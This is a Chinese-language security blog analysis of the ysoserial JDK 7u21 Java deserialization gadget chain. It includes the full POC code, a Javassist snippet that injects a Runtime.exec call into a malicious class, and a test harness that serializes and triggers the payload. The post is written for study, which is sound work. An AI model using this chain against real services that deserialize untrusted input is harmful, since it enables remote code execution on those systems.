Java安全之Jdk7u21鏈分析
Java安全之Jdk7u21鏈分析
文章首發:Java安全之Jdk7u21鏈分析
0x00 前言
其實該鏈是想拿到後面再去做分析的,但是學習到Fastjson這個漏洞,又不得不使用到該鏈。那麼在這裡就來做一個簡單的分析。
在前面分析的利用鏈中,其實大致都差不多都是基於InvokerTransformer
和TemplatesImpl
這兩個類去進行執行命令,而其他的一些利用鏈也是基於這兩個去進行一個變型。從而產生了新的利用鏈。而在這個Jdk7u21鏈中也是基於TemplatesImpl
去實現的。
0x01 Jdk7u21鏈構造分析
先來看一下該利用鏈的在yso裡面給出呼叫鏈
LinkedHashSet.readObject() LinkedHashSet.add() ... TemplatesImpl.hashCode() (X) LinkedHashSet.add() ... Proxy(Templates).hashCode() (X) AnnotationInvocationHandler.invoke() (X) AnnotationInvocationHandler.hashCodeImpl() (X) String.hashCode() (0) AnnotationInvocationHandler.memberValueHashCode() (X) TemplatesImpl.hashCode() (X) Proxy(Templates).equals() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() Method.invoke() ... TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() ... MaliciousClass.<clinit>() ... Runtime.exec()
從這裡其實可以看到JDK 7u21的這條鏈相對來說,比前面的鏈需要的知識量要大一些,分析得也會比較繞。但是其實到了TemplatesImpl.getOutputProperties
這一步其實也是和前面的相同。
本篇文就直接使用yos裡面的POC來展開話題。
public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608"; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo"); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type", Templates.class); Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); LinkedHashSet set = new LinkedHashSet(); // maintain order set.add(templates); set.add(proxy); Reflections.setFieldValue(templates, "_auxClasses", null); Reflections.setFieldValue(templates, "_class", null); map.put(zeroHashCodeStr, templates); // swap in real object return set; }
因為是第一次寫這個yos裡面POC的分析文章,所以會寫得詳細一些。就先從第一行程式碼看起。
final Object templates = Gadgets.createTemplatesImpl(command);
這裡是呼叫了Gadgets.createTemplatesImpl
這個靜態方法,並且傳入執行的命令進去。來跟進一下該方法,檢視該方法的實現。
這裡是返回了他的過載的方法,並且把傳入了命令與TemplatesImpl
、AbstractTranslet
、TransformerFactoryImpl
這三個物件。來到他的過載方法中。
在過載方法中對傳入的TemplatesImpl
這裡看到其實和前面CC2鏈的構造是一樣的。使用Javassist
動態建立一個類,並將其中的靜態程式碼塊設定為Runtime
執行命令的一段程式碼,然後將其轉換成位元組碼。可以看到和前面不一樣的其實就是這裡是使用了insertAfter
,而前面的鏈中使用的是setBody
去在靜態程式碼塊中插入惡意程式碼。但是效果其實都是一樣的。可自行嘗試。
對應的POC程式碼:
ClassPool classPool=ClassPool.getDefault();//返回預設的類池
classPool.appendClassPath(AbstractTranslet);//新增AbstractTranslet的搜尋路徑
CtClass payload=classPool.makeClass("CommonsCollections22222222222");//建立一個新的public類
payload.setSuperclass(classPool.get(AbstractTranslet)); //設定前面建立的CommonsCollections22222222222類的父類為AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
再來看下一段程式碼。
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
這個其實有了前面分析了簡易化後的利用鏈POC的基礎後,其實很容易懂,這裡其實就是使用了Reflections.setFieldValue
把templates
裡面的_bytecodes
設定為前面動態建立的類的位元組碼。
下面的_name
設定為Pwnr
字元,而_tfactory
設定為TransformerFactoryImpl
由反射建立的例項化物件。
Reflections.setFieldValue
的底層程式碼也是由反射去實現的。
對應程式碼如下:
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射獲取templatesImpl的_bytecodes欄位
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});
和上面這段程式碼效果相同,後面設定_name
和_tfactory
也是一樣的方式,以此類推。
_name
先來看看這個_name
為什麼要設定該值。在前面也分析過該變數設定值的原因,這裡再來敘述一遍。
在執行到templatesImpl
的getTransletInstance
方法的時候會先去判斷name
的值如果為空,就會直接返回null,不做下面的執行
_bytecodes
這個_bytecodes
前面也分析過。
來看到圈出來的這一段程式碼,如果_class
為空,就會呼叫this.defineTransletClasses();
方法。
跟進一下。
在圈出來的這一步就會去呼叫loader.defineClass
方法然後傳入_bytecodes
,前面是使用了反射將惡意類的位元組碼賦值給_bytecodes
。loader.defineClass
這個方法進行一下跟進。
實際中他的底層是呼叫了defineClass
類載入器。關於defineClass
類載入器可以將一個位元組碼進行動態載入。
具體可以看我的Java安全之 ClassLoader類載入器這篇文章。插個題外話,類載入器的呼叫無非兩種方法,要麼就是反射去呼叫,要麼就直接繼承該類進行重寫。
回到剛剛的地方
對_class
賦值完成後,會在該地方呼叫newInstance
進行例項化。而惡意的類的靜態程式碼塊中寫入的惡意程式碼就會進行執行。
_tfactory
看一個大佬的文章說是 在defineTransletClasses()
時會呼叫getExternalExtensionsMap()
,當為null時會報錯,所以要對_tfactory
設值。但是我在查詢的時候並未看到getExternalExtensionsMap
方法,而且在yso裡面將設定_tfactory
值的程式碼給註釋了一樣能正常執行命令。
在我的物理機 8u181的版本中也沒有發現。
後來看到大佬的文章中有該方法
根據大佬的解釋是可以看到jdk1.8多了個_tfactory.getExternalExtensionsMap()
的處理。我們在jdk1.8的環境下跟蹤下程式,發現到這裡_tfactory
的值為null,所以執行_tfactory.getExternalExtensionsMap()
函式時會出錯,導致程式異常,不能載入_bytecodes的中的類。
下面再回到剛剛的點,來看下一段POC程式碼
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
檢視一下Reflections.getFirstCtor
方法,內部就是使用反射建立一個無參構造的物件
傳入的是Gadgets.ANN_INV_HANDLER_CLASS
檢視一下該靜態方法。
該方法返回的是AnnotationInvocationHandler
字元。也就是建立了一個AnnotationInvocationHandler
的物件,並且呼叫newInstance
例項化該物件,傳入Override.class
, map
。前面說過AnnotationInvocationHandler
這個類是用來處理註解的,前面的引數需要傳入一個註解的引數,後面的需要傳入一個map型別引數
簡單來說就是使用反射建立了一個AnnotationInvocationHandler
的例項。
Reflections.setFieldValue(tempHandler, "type", Templates.class);
這一段程式碼其實沒啥好說的,就是把tempHandler
裡面的type
的變數改成Templates.class
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
再來看到下一段程式碼,跟進一下Gadgets.createProxy
方法。
這裡面實際上就是使用了 Templates
去做動態代理。
對應POC程式碼:
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);
Templates templates=(Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),Templates.class.getInterfaces(),invocationHandler);
Object object=constructor.newInstance(Override.class,templates);
接下來就還剩最後一段程式碼
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
在下面的程式碼就很好解釋了,例項化一個LinkedHashSet
物件將templates
和proxy
新增進去。
後面的就是將templates
的_class
和_auxClasses
設定為空,前面的分析中提到過,在templatesImpl
中的_class
必須為空才會去執行getTransletInstance
方法。
POC的程式碼其實也就這麼多,因為yso將一些程式碼做了一個很好的封裝,顯得程式碼量也是比較少,但是如果第一次分析利用鏈就看yso的程式碼,會比較亂。POC具體為何這麼構造會在除錯分析中做一個詳細的講解。
0x02 Jdk7u21鏈除錯分析
在該工具裡面寫一個測試類去獲取一下,payload。
public static void main(String[] args) throws Exception {
Object calc = new Jdk7u21().getObject("calc");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.out"));
oos.writeObject(calc);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.out"));
Object o = ois.readObject();
}
命令執行成功,接下來來分析一下該利用鏈呼叫。
這裡使用的是LinkedHashSet.readObject
去作為反序列化的入口點,但是LinkedHashSet
並沒有去實現readObject
方法,但是該類繼承了HashSet
類,所以這裡呼叫的是HashSet
的readObject
方法。在該方法打一個斷點。
該方法在此處呼叫了,map.put
方法,根據一下該方法。
在這裡可以看到呼叫的是HashMap的put方法,這是為什麼呢?查詢一下HashSet中的Map成員變數
定義成員變數的時候,該map變數其實就是一個HashMap類的屬性。
回到剛才的地方
看到這裡執行完後,會跨過for 的程式碼塊,執行下面的程式碼。因為table值是空的,這裡就沒法進行遍歷。
而後面會使用addEntry
,將這幾個值新增進入,hash的值為hash方法處理TemplatesImpl
的值,也就是計算了
TemplatesImpl
的hash值。key為TemplatesImpl
的例項物件,value則是一個空的Object物件,i引數為indexFor
方法處理hash後的結果。
回到這次執行完成,會返回到HashSet的這次迴圈。
再第二次迴圈的時候,就會進入到該for迴圈裡面
關鍵點其實就在這個key.equals
前面說過這個key為TemplatesImpl
的例項,前面做了一個動態代理,這裡呼叫他的equals
就會觸發到AnnotationInvocationHandler
的 invoke
方法。
這個地方還會去呼叫equalsImpl
方法,跟進一下該方法。
var8 = var5.invoke(var1);
語句,這裡是通過反射呼叫 var1
物件的 var5
方法。跟蹤一下getMemberMethods
方法就知道。
在這裡的this.type
是templates
物件,使用getDeclaredMethods
反射獲取方法。
在這裡可以看到獲取到2個方法。在後面還可以看到一個for迴圈,然後會遍歷var2的值。然後下面使用var8 = var5.invoke(var1);
反射去呼叫,這裡傳入的var是TemplatesImpl
的例項物件。
這時候就會去呼叫getOutputProperties
方法,其實到這步已經是很清晰了。因為後面的呼叫步驟和前面使用TemplatesImpl
構造惡意類的呼叫時一樣的。
getOutputProperties
方法會去呼叫newTransformer
方法,newTransformer
又會去呼叫getTransletInstance
方法,
到了後面的就不需要多說了,這裡也只是簡單描述一下。
參考文章
https://b1ue.cn/archives/176.html
https://xz.aliyun.com/t/6884
https://xz.aliyun.com/t/7236#toc-6
0x03 結尾
其實在該鏈中還有一些細節點沒去做分析,該鏈的難點我覺得在於比較繞。這也是為什麼後面才去分析這條鏈的原因,不得不說的一個點是能夠完整分析這個鏈的一些細節點都是大佬,需要有較為深厚的程式碼功底。